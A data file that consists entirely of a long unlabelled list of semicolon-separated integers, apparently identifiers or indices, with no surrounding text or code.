15684;107137;101359;67654;78466;60480;96998;36224;38270;95026;29172;32989;73162;62529;72338;54009;33619;200009;65476;37828;106121;74313;77176;65705;26261;55201;10279;40054;68290;59499;56970;27017;79060;65772;47555;57840;42242;29307;105447;60797;24747;59839;31197;67227;61906;70856;64623;76602;92969;48612;52769;96598;53911;82324;73579;96631;50421;104399;35322;79340;58787;41638;83039;102232;75911;46835;85147;88551;74472;28708;74814;104157;56780;24290;90674;33791;45577;61397;29332;59275;27179;106673;100088;70588;26712;97756;49475;74959;107064;71265;68448;89833;55669;50575;60446;36275;63057;20843;46659;32521;57089;63035;63713;66162;44782;66834;90169;89832;38199;19855;86953;53822;103490;32153;61464;99801;64873;91110;59009;40090;105741;41922;39965;104004;18143;74108;52568;40150;100378;58560;25818;56551;10345;12258;73012;20302;107136;52808;89990;21555;75976;35825;85507;27192;72829;56485;31867;26926;75177;24634;17498;32459;30409;28125;75434;106494;36322;94110;90715;34219;14175;101216;73256;37657;83165;50157;42947;25823;31691;43701;76518;53381;64041;16980;16638;48482;96409;43657;31923;84619;106521;71624;35717;65464;12877;83771;45343;27266;23834;32351;29494;27511;15978;21603;80639;22635;54724;25266;78596;16260;19972;30455;83758;10149;12585;71479;18490;88513;105397;61415;39709;30608;64792;16102;100216;65797;79116;67518;86912;88968;106765;89961;35070;56858;105325;17134;20358;18849;91395;86564;35272;88773;26382;95829;59666;54471;49117;96510;82983;97552;74232;72252;46429;25933;54961;15542;43594;40285;67634;102943;51582;34710;16110;55698;55930;35094;49057;46515;31287;27861;27021;73167;13601;97496;32616;51359;65181;87743;36700;103042;83093;79177;70222;37930;90664;43111;91887;96786;14216;47286;81868;76436;16936;37727;18663;52084;78699;19560;77992;41251;79129;89729;37542;10558;58776;86522;40311;96455;26390;85729;61384;25965;69569;101832;12270;55770;22998;24613;35932;13169;62380;25981;71519;44517;32817;75740;34467;31251;69009;18840;91902;13313;19987;101750;101576;50975;83677;102762;44475;29451;91741;21757;45840;94499;39679;94424;63211;24136;11065;12870;49510;26170;48745;90576;66342;33338;27937;70017;38704;31659;23053;96037;25801;11298;101441;100319;76337;72668;67194;96925;89795;43672;55535;31694;31737;15239;15593;81384;93752;67136;80282;71170;38188;95884;26100;47823;68874;23054;65841;33186;84040;77359;84977;48157;74056;93109;41072;58158;53833;87387;81320;51291;61124;95914;44572;30593;87537;25102;65344;79569;95479;104471;74483;102652;103552;84713;40406;46843;95512;106542;99144;52221;49395;99521;102815;69476;47644;92760;46750;35578;68354;24556;21000;51432;94914;15831;21230;55582;42831;12725;69077;90154;47572;21320;35233;105584;93459;17812;81839;53179;63940;72714;10176;57576;58985;57095;102243;29450;102154;69216;68523;76293;27821;101912;33335;97775;106339;93657;67400;87978;73726;43610;87207;100639;83952;54028;40823;17841;73372;53403;12547;66408;83483;26868;97053;97772;92282;32810;35673;55332;42187;82756;59799;12701;69719;107139;47396;50535;79197;35197;92470;44260;21569;65780;87113;71182;83376;55384;57164;49823;102561;31033;83325;34300;90250;90986;31705;10671;79018;41017;76013;67650;24196;32661;106868;34453;53569;87661;43606;44512;37277;77120;46579;90320;86929;100146;24832;88962;87987;77946;35754;105344;18363;35376;56917;30168;89410;69071;70878;75805;58157;64759;17417;21864;28549;18752;65111;87880;10905;103155;75663;88416;50851;104096;40777;43317;35508;24341;72434;69428;54186;103853;73459;102371;76375;10368;27212;39916;57473;60600;101743;33211;12951;68760;103156;26772;71894;18944;69439;88875;91062;78312;85362;105263;69765;86492;34289;75771;18736;29555;93188;47854;41962;53465;46698;84682;83865;55957;21682;49187;106399;83131;67720;48171;76466;63233;62117;90023;37289;55689;89064;80990;27817;78396;92844;76085;14325;73896;99461;86535;12707;71186;77971;94077;40620;18918;65759;37600;47779;46865;82296;11698;71176;34344;12967;69821;50994;99730;38847;79620;77170;57294;105514;83607;21812;101762;73201;38931;52741;17227;30260;34094;28354;74977;28373;89629;35153;13126;18630;50229;76378;32190;58340;19776;64699;10378;66546;27879;10796;15815;15129;97305;44476;86244;12956;52676;18431;75780;44362;35960;36310;46964;76900;40716;106551;79322;93939;15588;54505;54356;100753;99516;45546;104121;90884;26475;90269;28622;71882;20057;28310;49015;42137;28060;104841;82642;44785;65103;27213;22114;100773;92599;49775;88095;90372;82931;28535;18377;63569;36469;104869;44264;97381;83416;53331;20195;74428;61840;26491;17780;50727;11140;102957;25543;38089;28160;22645;54954;39712;91089;64967;56817;41160;81244;42191;71169;53326;39280;97083;103062;39794;92127;26848;30672;40114;95600;81391;52101;44448;30561;63300;73298;29610;29400;62941;72322;19594;65776;84156;27300;57324;56564;100974;72870;25507;99860;25320;39560;69561;38039;75160;71807;77244;60813;97116;80836;51828;77369;60351;37660;30794;24710;71933;45092;69606;13799;60043;37240;78682;26179;99216;103201;97644;77982;66849;89477;19765;28377;13731;22100;34026;63255;12711;106998;18228;82483;15703;37517;52163;104768;25875;96238;85379;39912;25654;87036;17605;52990;23306;55131;21434;73283;100714;25536;30749;23332;73897;48392;22851;78623;103862;92445;13408;104269;79038;51980;42488;35710;11174;77408;71886;16031;59453;71849;56987;51239;44119;103546;80606;96587;54235;100779;47397;13188;58855;54461;23481;18981;42711;40882;65577;45927;75549;66142;38977;18576;83782;44151;18100;85883;19262;13588;51909;21660;14184;100060;32354;80466;104919;68256;45570;49965;88637;45390;17561;16489;88591;97695;103017;59966;20965;90563;29127;12368;75078;55886;18873;79605;96441;25075;100199;17277;92272;59963;15294;69958;60136;55354;84439;61847;88898;76756;66807;80040;105835;86328;38151;107111;88869;59133;43846;67005;101259;49744;13885;41576;41358;11763;92339;14704;20817;17149;50800;56141;85743;82608;46740;41910;97551;19265;56843;89506;60414;26216;94991;39263;63972;59904;29354;65399;45477;26819;26562;92929;22573;13405;24394;68362;91901;76561;104353;43351;47336;57374;27086;12728;101141;63762;27898;103802;52055;43071;54033;54906;42480;32700;70662;41820;86372;84116;52066;47448;48801;85165;58837;76583;97395;82123;104211;25097;63842;87011;24683;50890;65929;39931;33867;72171;79829;92156;87914;96934;23110;75285;90543;78725;92324;57871;55288;92057;76852;21250;33626;52638;77197;77709;100649;50242;20615;80637;50410;11872;50505;40318;48426;69312;52388;25859;105685;85270;78815;50971;102674;66776;92044;90266;76056;52294;15916;86643;12232;106046;61902;96830;57292;36633;59020;19100;45066;68036;88544;57876;89834;84845;29999;89316;80665;81063;97682;19434;102765;59601;40598;77240;61017;20314;89119;43271;91566;80668;91603;57217;60787;58449;71018;70899;24963;88543;86588;94738;67617;90194;48702;93373;96792;62709;99978;31135;15259;19202;72210;92677;86402;85719;24499;64738;60079;80831;34977;88013;10014;41289;103205;76127;27614;59594;23556;79814;106302;59169;25633;66282;59311;15408;22926;78102;85945;100407;100889;70820;20309;20345;105856;64401;63193;38629;61929;58631;84809;10350;66875;89360;44247;32185;51074;86026;50139;57788;31462;64707;91587;71154;88498;85745;83979;78342;46906;92028;78349;29074;55999;18890;91196;49582;15788;26248;66104;36629;83617;46449;32973;27453;91733;51972;35175;26534;31077;52834;54346;21590;65713;63656;33189;13586;20269;96328;32156;67139;21031;97385;53173;28900;49173;22081;55574;48603;30327;81744;14826;72302;69298;43331;71705;70603;38586;103641;88076;95674;38109;99099;53619;10907;80014;59798;84694;70123;88832;87437;94331;71148;87602;22474;89229;31171;54080;53519;73376;54412;72345;90339;95956;61575;18570;48604;47075;16360;15305;14945;45721;14715;43139;67542;75127;36120;67566;83876;53973;86404;62460;20125;78266;33198;99754;86477;25425;73254;101360;70330;29418;63354;33936;77829;52119;51806;53197;62743;54631;78504;32028;25050;11725;89060;92583;102392;34402;84859;96438;12863;67773;16253;68699;104616;99715;71163;94797;87583;91213;67631;22037;91643;47528;46241;71795;61948;37613;81675;46911;62479;49131;70129;19117;97963;75453;94335;91142;33007;46008;102631;50273;77910;101860;86241;63485;14317;61577;80382;90186;13724;84596;69523;46327;100853;104460;30689;31106;87429;31908;13514;14203;41278;99557;54843;61337;17507;28527;91806;13016;80537;78264;58371;17777;106969;99561;61614;19622;63906;76104;104663;45775;43568;106899;33913;63844;39007;102736;64126;10574;73687;72831;59984;91098;30867;21719;80186;46438;22466;10648;77429;64320;66688;43735;35827;96532;87700;53039;34750;11638;74125;44255;67452;70478;12037;84853;53789;74085;57737;23375;10055;77636;92334;27650;21169;76786;66570;96839;13031;93038;14781;97158;80310;74121;82065;57765;69239;20687;87497;55591;99504;101745;69481;69563;42328;22223;61745;88787;33630;91125;93105;34115;29198;37607;57558;35556;97910;19929;21007;102899;24261;22710;16886;89433;22962;49608;67000;75069;73495;62753;49309;43959;67681;32488;35454;62237;90285;52608;86548;83819;19633;57497;14812;24258;85897;16506;80793;11178;55800;56872;26858;37197;43936;54863;47409;81505;93877;78324;30131;99868;39315;39613;29054;84742;41789;48902;14822;28317;57626;58793;61406;96223;104968;77182;99330;81287;39633;82618;76091;94582;70364;47847;57542;19299;29890;18557;85492;31378;24188;60577;59434;32398;96392;15383;76069;69877;83000;13142;36717;56449;91852;75090;40507;16261;60126;60120;100132;16154;102397;70354;80664;86963;19111;25960;55272;74624;82313;11359;89440;40685;42304;94283;45692;23859;96963;46998;51630;75460;72403;101638;62045;51110;104420;58282;59826;68727;26756;71978;46630;59049;17755;65135;81037;62492;72517;78030;51873;16921;51288;84060;14080;83126;51866;67286;59392;37017;50478;62183;15463;71672;97363;78032;105354;95567;81544;29430;54240;35893;64132;17573;46125;17202;43812;29897;24752;72770;61659;28162;30281;81164;51615;42216;30246;58834;32060;14696;17520;19047;94821;101312;10662;104034;22826;78330;52977;10391;36437;29050;99248;40801;97185;24873;25570;65986;19303;65500;30200;82658;56523;89867;56365;45632;18876;16341;77279;54713;57021;106186;70860;104537;37156;44117;41995;21150;60711;85806;50877;36553;94194;62447;62486;68744;74880;38978;31845;105721;68778;61679;24121;96458;26675;18272;96081;82305;43484;20549;76018;91803;91482;84068;65909;37910;73161;24468;31646;79406;88050;65975;55876;94381;55572;74757;83942;61427;81234;29811;63581;35876;75527;73124;18672;18667;67666;88022;104800;63967;26669;82440;88029;19006;102079;95640;86872;85886;94048;16580;31750;99189;90866;106774;87551;79108;91737;82949;38849;47055;40445;51479;75972;87799;47508;59520;89234;66762;58840;50695;28655;61444;100309;46342;66711;34808;66844;97622;99250;96283;106754;58472;54526;20551;55807;53851;20028;40189;39967;99977;43837;84075;101755;43335;31952;64929;15524;58912;20669;53883;64875;78904;90826;66045;67293;65469;10172;44873;22736;39299;28929;106269;91541;14032;28151;14535;91417;60044;51323;45882;41717;79321;66246;49660;97942;84632;35630;77116;95270;56341;45362;12356;101167;50892;94416;64382;48912;34007;75055;96471;50593;23600;89697;88507;75915;101598;76572;38295;77198;68864;85508;65692;77246;27255;81970;78018;34163;101049;32089;94516;89726;53513;59548;80038;18250;65580;69229;61931;12904;40636;27732;12411;52060;25669;95614;76100;24766;46194;102054;86890;103611;93716;15773;60188;93760;36386;52965;70493;64075;16896;87838;19750;19318;15090;100470;93756;65313;61660;95430;56861;52828;37451;11023;89499;67045;81254;97263;43707;10493;40131;78819;33905;61497;85242;16066;68275;25548;28716;87888;105924;91835;54437;62137;32699;96957;66763;56900;40485;24819;86009;65491;43179;88977;61670;26495;69143;51039;83010;51150;13461;76439;36288;15994;27129;13888;49848;104182;64073;102682;99733;91880;68676;64872;92846;15278;99243;61872;76909;58026;71104;34348;105361;85184;42021;96147;27840;43774;25082;77912;45512;64724;48899;31736;40990;31501;72551;85509;48681;91190;50967;80624;37060;57549;47298;65873;59621;97530;49382;93517;22031;69588;65431;106687;37606;18766;85764;64814;35048;52273;55003;73401;67053;63605;65972;70281;78316;60011;47382;15032;83366;57001;11005;105671;105034;77015;32162;53024;20406;65273;39902;80188;84279;58751;95831;24183;44582;39800;94625;11782;102895;88972;45266;11157;96342;42057;47083;28906;23530;63954;47895;40584;64012;27307;38784;62938;50111;51166;58075;10941;39882;37892;58538;76431;62665;41650;33681;10563;79261;48800;33989;10474;51993;33154;48281;68814;21142;99274;24774;92652;31203;71669;62821;22778;28931;12776;60561;96171;99443;86393;96676;83342;51415;18526;101539;38267;18756;69037;91203;71538;88400;70176;72963;15940;102028;72724;38033;100089;66132;66643;71483;70022;22271;26504;37028;14341;73218;66369;11241;60253;59388;46477;70393;60857;53872;65263;24739;65124;67340;14488;35572;93921;100935;29072;73016;86886;78423;27809;31770;16465;26208;27894;83468;75304;103951;84833;84216;13224;23050;64627;41753;61144;32003;104811;55909;68966;60491;92915;81193;85812;23777;14845;81269;51511;33888;12374;23946;86638;200090;200003;64359;78532;12467;18842;48953;73908;90747;14512;68333;102429;30360;89174;54157;100171;54621;77215;33169;104549;52767;48428;36342;92216;36452;27429;50365;63838;66440;69802;88701;28260;94968;106409;17518;43692;58130;24402;99571;66368;99404;95954;94429;72614;31103;80502;75763;102892;37700;35473;14786;35811;65219;72710;38263;47777;67216;67143;88769;10323;54131;38627;90193;89609;90814;84832;52192;50257;33694;24698;20083;52318;19038;82675;40699;103822;38463;13047;89325;46454;21373;61996;104289;12124;83966;74815;90466;77870;100702;75493;42764;21932;93644;106727;69294;89858;100634;71145;70906;10859;94127;22949;77092;97900;76244;82598;25580;28544;27606;29398;80695;64950;52693;88440;45367;54151;38854;106044;78986;74928;34100;92499;19943;102689;60111;31767;68332;99298;63129;11947;17774;39952;87613;30404;61118;87004;78453;47788;48588;24770;56586;66525;10771;100320;25159;31831;30791;11032;27940;51957;12641;72339;69654;57708;88459;94869;34388;21896;68126;50694;82831;76885;101417;79463;55172;15592;29852;53430;41437;90750;61793;92685;72779;73163;13435;85191;99493;64509;89604;47275;45558;57573;10490;101983;38690;59341;63038;14905;88409;50632;31595;68342;77239;70101;94657;19614;103173;48267;97553;60507;15747;43673;72841;33311;16773;11676;73093;85924;79580;49004;28448;24905;79835;46919;32956;61103;67563;103588;73725;41098;88506;80470;44974;79816;54762;99784;55101;17517;77760;103827;28978;11570;50370;19846;11868;61980;37254;47223;24040;35090;33131;94207;100598;83577;33109;101813;70099;12327;78415;34612;105180;60762;100028;61035;82515;29743;77983;92429;17425;27747;41517;87319;99336;71948;12570;67335;82260;13883;22488;77938;54957;24085;65944;71083;45334;83124;36886;77952;38207;21809;80620;72305;78899;73948;100067;53070;67549;39316;82011;80240;32107;64391;69923;24860;91558;51345;46100;25710;105806;43400;76685;105298;82201;41577;26068;102749;56644;17449;200138;96889;72967;40310;26065;26329;87849;24806;31161;29014;77618;25697;93058;57935;90508;22891;91526;104374;33210;104813;62855;46934;59361;44242;47679;100103;68458;73835;73873;104058;26269;53156;79053;61923;60279;17252;60388;50068;91490;21844;11969;91705;34682;62254;87788;26108;85554;67175;50195;99355;60536;100123;26351;16982;72635;93089;88988;48705;100723;83632;200132;46592;75047;22521;28656;65583;19377;38660;33121;27100;103581;65537;18581;22994;52088;42836;26434;32145;45807;73805;14178;75791;94330;14188;29231;59091;40087;63597;72206;55006;44884;38776;83977;24811;31870;73253;67980;74636;86108;29008;23679;106055;43639;54655;43315;12384;38720;69785;30662;78129;15334;91458;23298;97141;49644;39314;18269;86679;11457;69788;49975;46267;77518;12341;101691;81054;76143;19444;43862;36222;96246;33556;71917;37558;83082;66340;94200;74183;44392;25923;94673;67010;74478;18714;41354;40900;46639;76016;39908;94605;17763;76318;28003;68672;65902;34910;32708;76911;39343;70926;64100;70490;89986;36300;59505;94277;85871;10520;36096;27440;36003;39119;77264;93500;31426;28662;42142;55136;69728;71987;48340;25353;52456;46673;43374;32583;97097;36495;94795;16981;86556;104546;29067;10163;52125;67240;22918;62953;94222;83747;32931;47186;43379;33531;102838;57152;40303;27025;38767;19169;51363;94405;71603;91349;78830;56450;106914;94846;76369;106623;85862;38015;56220;54146;27161;99217;66843;53642;101036;17167;24617;103724;74053;50005;52565;84976;103224;42559;71440;31375;94638;56154;74329;104467;36589;29496;15947;47383;15583;61727;75335;78314;28265;16399;48274;11272;62325;78742;100584;80565;13025;78571;87474;24133;74937;74527;70140;24658;15330;42130;41077;99925;13715;90502;38016;46753;78708;47496;104936;69945;75227;44543;86140;106364;36958;87180;26417;63673;52787;11127;101987;50753;34789;84893;101332;85010;99577;66124;69642;29937;29614;56093;71735;10717;80151;89241;99139;69726;29629;40281;53476;60772;57045;32384;58491;61011;53842;10921;64003;66153;96156;19481;86849;89630;23837;33103;95945;12802;44924;94473;22712;82278;71901;74465;45131;22316;75321;50711;60579;45548;28611;16942;70411;68955;60674;58877;47176;86356;36256;40836;37381;24320;88474;106608;42631;99660;36330;83427;48868;53948;49348;38041;31553;33266;83581;47860;20196;105587;105746;75438;16976;19258;27997;93191;15719;54393;60649;100308;58142;75343;85599;45574;102858;25957;26311;15464;13876;54623;92674;81607;11238;75794;80653;38940;64386;28863;20939;17670;59546;83786;60383;93540;12645;81061;20171;105128;52552;47308;99047;73055;24309;35134;95906;20041;80616;15543;104574;12612;103520;95001;11734;52155;86245;66667;71734;69013;75165;22880;87115;39651;99531;31125;97284;97624;59172;106120;26654;54275;41919;99842;39517;29190;84544;83661;89258;65379;11747;55884;76968;74033;34002;47618;36458;92923;69328;11690;92481;10488;59260;77969;26448;82882;23652;63169;92937;10855;99857;71827;55281;37140;13997;61676;71785;28640;51638;39827;80052;21731;92950;12518;85315;76391;64407;59475;76867;30846;45117;62043;32421;84150;104879;36414;87873;26209;48974;19371;58055;105881;73586;12348;55716;26617;41829;28111;95385;49873;51675;74504;22691;103979;28066;20837;105200;67083;77807;12494;49728;104334;88611;58185;22001;99936;26002;81577;78643;71966;80843;104152;46586;102227;15335;17661;96628;77988;21883;89586;52462;36609;106768;93593;86141;17034;93552;28886;105287;37210;81971;100233;102296;33935;11504;26300;79743;17235;29757;96977;13526;39658;16058;63574;66294;38511;28419;47878;20867;87444;104684;90251;50522;99547;79089;15363;40703;22928;30622;70021;103410;37490;58903;47706;81632;11824;57445;102250;16893;14710;100735;65322;106280;22673;30296;88931;36321;24892;72031;59153;31681;60262;58719;26263;34693;67875;79656;38152;27275;97387;84211;49204;27468;23809;83295;62957;88630;65127;45481;94600;44046;27957;32818;89655;56374;87542;99039;29186;91346;76740;29011;20092;41238;82976;92034;37161;42268;63146;91155;95413;70854;33157;36208;13052;40839;87211;47452;57678;46202;88605;28504;76673;51078;29114;90517;66220;31793;56524;22464;84104;61804;57069;37082;57287;55819;63222;18110;42949;24251;102829;70209;62915;55858;103769;15434;10766;42863;103926;71953;40972;45525;53576;45306;44496;103029;107084;70271;31186;70082;33482;49363;38219;11249;85888;83054;27903;19997;92516;45439;49442;71750;39562;92598;65582;34729;61997;73297;62110;10095;101464;65818;12929;67940;11483;62991;82562;27850;25060;76625;15740;104978;68896;82380;96793;16415;89044;106985;18069;23010;67868;93923;32801;102383;68925;97286;58379;15865;63506;45680;25201;21146;97132;78849;91248;25051;28492;22022;30014;93889;66241;63686;24424;44337;54859;76381;34169;54262;103415;32689;12995;104942;27771;17773;45993;104411;105144;23852;107150;11397;22413;72000;100030;11096;85400;44686;50431;107080;75540;63858;69594;34542;34069;90458;27473;10801;18224;68031;83109;46799;51425;45625;25057;104626;75452;74965;38387;103082;26092;51352;14102;101497;24100;91814;79420;96214;32936;91045;25607;67775;78749;41823;96533;40207;91474;46653;79082;91740;38641;48216;65687;28473;95879;93324;99542;67086;91400;22322;96847;24278;76258;71266;53095;63931;11532;49710;19522;24748;96513;30569;24118;65461;39432;104640;66029;74671;83193;65429;79710;48551;24282;14522;97219;35692;86017;22763;30361;39559;43882;23849;28760;77161;62303;73224;32470;30407;91752;103906;96056;57829;103011;86977;85710;104110;99389;10166;104231;36149;39282;62205;97720;35330;71676;37516;79240;35408;47709;105247;31828;55261;89272;40599;40306;16165;43440;38379;76000;59595;74749;99040;70277;20732;80774;97566;81115;35961;15190;70851;68720;39225;93605;46491;84526;34867;106653;102000;52068;12954;78406;72317;75410;77040;77094;32353;94776;69200;57011;105231;25962;17419;89765;28447;62557;96759;79327;11113;12071;16956;50731;21002;35786;29879;13076;26546;77267;67303;54671;75456;60353;87631;16492;92064;45363;12836;17551;16508;41206;10635;57954;85232;29468;85612;56395;74078;61417;66155;14010;71789;67287;85791;68803;21325;70220;44465;89906;76545;35255;54529;12655;81866;28398;92565;63326;68795;86575;17091;55211;81438;45479;49632;44477;57893;33181;69763;34696;13909;97608;74214;96564;18207;91980;99477;21144;92012;73503;86321;15724;58467;42884;81251;48524;106672;105602;103766;33060;101579;90966;85083;15682;83765;13639;99075;105222;82093;28014;97499;80034;75175;44330;91243;86909;82125;49776;52916;26508;36107;21582;67693;51405;44277;31505;40234;21984;58000;58494;21554;10784;58712;24170;20325;24346;66517;81680;74277;21858;93701;72862;96289;22561;39100;42077;83335;37788;60928;73849;28404;10610;88114;75729;64011;31373;80852;73567;82229;65218;93181;47603;27005;20179;82663;37538;79729;28508;33089;35071;56261;78005;74344;45048;23855;70237;99656;105005;52863;100347;83404;104233;59070;15963;106320;30758;20517;58113;80687;82001;99505;78631;13737;54418;24187;68793;56042;14050;41978;47269;42391;65930;51139;48963;96364;96624;21409;11154;87616;47368;94272;34479;31742;94258;52923;46109;39706;12234;69188;42289;88484;16432;50122;91914;67170;90017;48967;31581;35017;21993;15712;95721;87906;101087;46937;51371;103054;17643;107025;44838;65299;64337;77968;102885;45508;62196;89981;96712;20924;39846;84506;46834;17446;97357;99530;30796;84560;20262;69952;49147;63570;23351;12672;21927;70228;10380;67164;105476;26138;41068;105728;97873;93227;82797;87898;48877;75893;56113;100924;106549;103089;43078;100704;66852;11052;14631;57201;99990;69313;30619;66050;50487;77139;30268;92600;91610;97155;85725;93687;58988;32734;102279;52016;34110;36460;78254;17624;66264;10505;24445;14707;60557;105448;64328;22246;48989;87779;61194;66245;37916;65966;50619;32742;61591;43288;31164;78166;66233;69541;17095;103421;80530;49369;107133;23516;104672;102052;25915;102305;37949;70590;57033;73970;82953;18134;86928;101171;93623;15454;24848;39532;34364;30097;21712;68974;11304;74583;92873;43508;33394;102481;104870;44795;100142;30034;81597;80154;16072;67556;63689;27421;21408;42986;38095;61942;38123;30696;28816;64263;33595;82258;46166;102197;80324;86623;76366;56263;75761;74103;68513;70429;40767;55529;86553;86127;74323;34629;66909;35986;81468;78937;51653;89128;64031;90989;29632;34819;67060;87122;89877;33637;66424;91950;84679;28378;57565;22059;90048;67072;103629;82504;26754;63463;97792;106468;71080;32517;62964;69311;24296;105246;48980;32846;65062;50322;44342;18625;46982;104553;42768;37693;57414;11837;106811;89575;89188;66579;21949;31945;31876;91097;95505;12591;94298;39202;85289;18479;57044;22352;36258;39876;106254;68724;73946;27011;46292;70317;24895;16848;70351;14292;102744;12483;27071;47315;64311;81669;103794;45156;56328;20575;85692;68623;43978;90064;106752;11047;19224;82097;10452;100213;13404;106814;26795;50329;45142;49427;92424;17094;31392;23189;36157;42267;22604;63666;103442;85919;77613;23848;34651;18776;53752;31421;70731;62802;17084;55019;60082;100809;65153;41526;24449;66597;46829;55213;50199;57412;19981;95018;35239;17828;33947;54738;44446;106381;80604;70314;53719;59219;88485;82529;63172;47387;33663;99899;36904;37533;68047;93108;87307;19672;11806;70598;19917;70743;18427;90046;87400;64388;11273;44829;55854;50039;63151;21887;43345;40766;40344;33880;16180;79880;55268;12732;93037;75594;67301;73514;102290;72612;87184;34166;61917;22888;82311;29452;90660;58858;67047;33205;92545;36807;32387;30924;24667;26842;69564;89049;21639;67684;34994;20793;78469;106172;30785;63709;42892;26455;49276;92359;93993;75283;102759;29007;60609;68093;28497;37713;55601;19278;91784;68270;79837;21524;94484;66758;27620;18999;100607;11296;77963;36681;27283;32429;12392;105238;15360;29676;88966;91724;52664;48555;53398;40957;77537;41148;62462;76024;82415;22902;51084;83178;35471;67350;19053;17142;19023;86806;56602;40018;12919;10951;93924;17390;79266;35903;99646;45900;30435;75316;24579;91864;89536;93973;30864;17987;61974;63764;14180;79968;93776;45073;49960;106255;57952;81278;45005;28088;54205;49702;27303;66911;62799;29534;24411;27111;97241;100170;31178;13572;60349;41124;24391;37016;44815;38517;60363;39383;45592;50253;17797;84072;56498;36373;54860;23594;37679;104044;52533;15143;37333;13009;90460;36786;65142;88603;59778;22514;49229;76750;49984;74206;77126;96655;72323;91413;15907;80330;73320;87527;90848;53517;15531;63683;77433;83784;69515;67678;49429;60554;105826;54837;46427;55134;96960;78142;91773;56829;62277;52105;59907;20863;73152;31433;40647;87701;45779;51337;11572;71057;102938;28409;14806;61856;59667;54488;84160;104656;90036;54194;16411;63496;24095;65278;85983;106252;81961;65585;90793;57816;61625;97796;12269;61457;76316;68185;94831;10485;71968;19605;18968;105968;26079;20440;72312;78566;104906;99653;100184;29813;25916;29289;47552;102046;78651;91497;32391;85128;53684;105387;63476;106432;21127;75268;50258;11400;59445;35808;70001;87109;26595;22502;35958;40525;24965;94841;57503;44000;62680;65588;15845;17268;18649;54555;99930;30221;37836;106709;100353;57104;40325;102236;15951;68228;56487;19532;91426;28250;87402;20178;43754;60429;96832;24232;61021;69056;103044;103589;49024;45998;97249;30597;17420;22621;94006;70415;11361;50309;31438;62727;77953;16895;58789;49059;48789;52217;27276;49672;88782;32108;95955;49005;34263;56121;38143;75727;103966;93685;81439;66300;11512;69917;54636;67176;52804;102038;13326;35966;61961;105921;94018;37405;23899;19892;40601;55207;37785;16543;25302;99543;31468;69010;65619;70979;100525;68592;87689;73526;40133;26951;96904;104155;39899;57899;30054;58600;82662;105547;46874;99816;40162;27403;55867;30017;96790;102030;105799;47567;100137;17514;18926;27635;37136;63822;38734;36720;14749;31823;39239;34631;106746;40639;32092;54711;16875;95460;82957;78020;56893;49164;56989;67429;81837;63187;31092;85056;39135;85515;33938;21563;29846;24061;101809;101255;66077;102792;94036;59063;63648;82643;72080;48207;69842;55810;76765;16556;70184;69403;29313;104699;95908;34017;26960;106077;19500;95605;99417;71506;15380;28444;47215;43415;103624;14590;20344;73926;90944;53078;38714;59521;66021;105694;23765;45298;33684;13332;12751;103127;66704;67034;74252;15729;94054;60550;106139;37868;78248;31340;101816;96239;75688;84169;82538;23847;33142;54085;38431;62742;82825;68528;11056;90922;66672;31959;34482;60116;76242;33563;50304;71573;61972;46726;81832;67178;25961;91498;18180;68319;76579;15047;33754;67541;84837;19556;30642;12207;69407;59922;87996;60723;101061;74537;57793;93020;42822;101101;68311;18567;15033;35007;53312;82816;20252;76821;92977;94751;90648;79606;59424;82306;95355;89077;41142;18370;51981;29020;76298;106885;89592;10560;13048;39874;52019;36487;29026;21106;38212;27348;40824;90230;51766;84894;17114;42548;100217;94790;101055;50950;86557;200030;92962;27671;37709;37678;35206;49772;12102;97079;80509;13904;78597;43726;67641;15554;41091;79478;86284;79942;101222;68394;20472;90218;63356;28011;42369;69218;67568;21552;92337;84885;33838;87573;92376;104683;24920;41844;90260;59949;62762;90321;101940;71308;75720;44301;37084;66692;21587;62470;13940;101697;66794;87422;34132;104338;21771;70085;53714;14469;56723;92297;78353;103936;22938;71773;82716;27912;104464;23444;13015;58501;16744;69494;39168;18364;69465;43327;72985;62178;75390;84980;68314;70111;29437;75752;99337;100090;42739;30294;36361;76188;29721;86452;89071;64256;63492;65458;81412;32585;46856;50437;29227;34520;44544;40644;66355;17130;50094;28839;10198;92953;48677;46101;45787;31498;101485;63626;90684;89598;100806;25665;19011;38958;63973;69678;54796;38118;18799;66017;34833;69914;31188;40476;56195;80945;24284;21713;64473;66632;100708;30185;104837;77276;91448;102247;51959;22594;10537;58216;20114;66238;102724;84970;57420;27720;27690;103193;64095;75076;26837;94849;50174;103134;59056;43176;34035;31170;23436;55826;20898;90894;88777;102778;20714;44410;20685;44933;23927;21041;82486;56980;43407;30787;23639;92584;53653;18175;65847;67235;81042;94164;60019;16705;89631;88954;11746;96434;73824;22174;93843;15482;81473;50536;54693;97755;99867;106797;67636;23337;79757;77233;77554;62175;68639;93960;100410;70124;74102;90385;65052;24522;55011;55048;35331;26702;24352;10130;42241;49956;61307;59089;96714;67126;33720;69884;63406;67417;64403;99906;47830;76361;64613;69908;90244;60190;26308;57289;50852;31786;93099;69172;13251;36417;38074;14451;38999;38575;47886;80006;18633;59802;45160;33927;91129;24103;48692;71298;43851;51132;35036;20940;18334;29625;28984;36271;62179;59087;29857;92474;91169;86497;69863;42442;68848;83512;87265;22072;64971;22450;40799;38647;67480;19848;26373;70418;30498;68912;31332;39722;65121;95535;11955;20665;96330;38418;34913;34935;64089;100484;33451;53155;30329;35706;61230;32303;76220;32241;97096;66536;26193;27767;56124;83034;16983;80801;49787;54491;32078;81170;57422;99595;62544;60294;58052;58519;86124;74976;46417;41714;46693;35560;100763;94542;38613;60852;55798;105299;11924;46732;89247;64704;88918;11160;44319;92029;200048;91716;107062;47690;25745;106728;25253;80608;72433;18512;103529;89218;47431;40664;79970;45009;74410;46916;20559;66700;55179;80030;15879;96539;43125;51496;78320;76354;78854;62279;99652;30298;71124;69581;73771;14087;93208;53045;47696;74531;21931;75106;84296;39390;94632;16766;14954;38358;25387;84395;26928;82388;28633;33753;87643;69458;52328;75379;65961;90582;106891;69396;90859;90868;43312;12754;72211;105758;33826;63823;49827;44274;36532;102695;46249;107052;68435;34974;30465;77535;24108;96874;14120;101541;76879;90127;25483;48858;61983;59651;74656;101521;102798;77999;84666;57192;68121;90207;31918;66288;69485;87121;84013;40633;34256;28435;64868;52397;64999;53750;41298;75328;20425;80319;49882;97970;80357;29158;83562;58317;41252;38794;16436;85735;84209;20619;36962;84084;16661;59342;11261;87678;46252;75701;18111;27717;91361;17473;28887;13409;56481;34757;46359;68014;101467;84869;24369;19564;38241;93219;101369;92558;64273;89030;85704;13648;89205;22957;104077;15888;54948;66984;36481;81367;73441;100848;51775;85433;57146;99238;51037;38409;11171;15704;28009;11467;84708;79049;10188;77098;34887;51366;56075;106757;72308;76559;97239;66030;92438;63102;31061;101166;36158;89597;99997;71501;76857;35979;39730;